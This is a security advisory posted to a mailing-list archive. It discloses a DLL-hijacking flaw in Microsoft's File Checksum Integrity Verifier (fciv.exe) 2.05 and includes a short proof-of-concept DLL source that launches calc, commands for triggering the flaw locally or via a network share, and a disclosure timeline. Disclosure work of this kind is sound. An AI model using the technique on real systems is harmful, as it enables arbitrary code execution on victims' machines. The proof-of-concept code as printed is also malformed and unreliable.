lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 4 Jul 2019 04:23:25 GMT
Subject: Microsoft File Checksum Integrity Verifier "fciv.exe" v2.05 / DLL
 Hijack Arbitrary Code Execution

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website:
[+] Source:
[+] ISR: Apparition Security


File Checksum Integrity Verifier version 2.05 "fciv.exe"


Excerpt from the FCIV "ReadMe.txt" file.

"Fciv is a command line utility that computes and verifies hashes of files.

It computes a MD5 or SHA1 cryptographic hash of the content of the file.
If the file is modified, the hash is different.

With fciv, you can compute hashes of all your sensitive files.
When you suspect that your system has been compromised, you can run a verification to determine which files have been modified.
You can also schedule verifications regularily."

[Vulnerability Type]
DLL Hijacking Arbitrary Code Execution

[CVE Reference]

[Security Issue]
File Checksum Integrity Verifier "fciv.exe" will load and execute arbitrary DLLs "CRYPTSP.dll" or "USERENV.dll"
when verifying a file hash, if one of those DLLs exist in the same directory (CWD) from where FCIV is run.

During testing I observed that on a Windows 10 system both "CRYPTSP.dll" or "USERENV.dll" will execute no problem.
However, only "CRYPTSP.dll" seems to work on the Windows 7 machine I tested.

Therefore, if a malware is named "CRYPTSP.dll" or "USERENV.dll" and you try to verify its hash it will instead get executed.
Upon successfull exploit user will get the following error.

// File Checksum Integrity Verifier version 2.05.

Error during CryptAcquireContext.
        Error msg  : The specified procedure could not be found.
        Error code : 7f

Again, to exploit this the victim must run the FCIV from an infected directory where the compromised DLL lives.

c:\>fciv.exe "CRYPTSP.dll"

OR from network share where an attacker has write privileges.

net use z: \\x.x.x.x\c$ /user:victim
z:\Users\victim\Desktop>fciv.exe c:\Windows

This was tested successfully on Windows 7/10

Create a DLL named "cryptsp.dll" and download to your default Downloads directory or wherever.


#include <windows.h>
//gcc -shared -o cryptsp.dll evil.c

void evilo(void){
WinExec("calc", 0);

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
return 0;

Start fciv.exe from the same dir where cryptsp.dll resides to verify the hash of the DLL. 
C:\Users\victim\Downloads>fciv.exe cryptsp.dll

BOOM! no hash verified but we do get arbitrary code execution...

[Network Access]


[Disclosure Timeline]
Vendor Notification:  June 3, 2019
MSRC Response: "The Checksum Integrity Verifier tool is not supported by Microsoft." : June 7, 2019
July 4, 2019 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).


Powered by blists - more mailing lists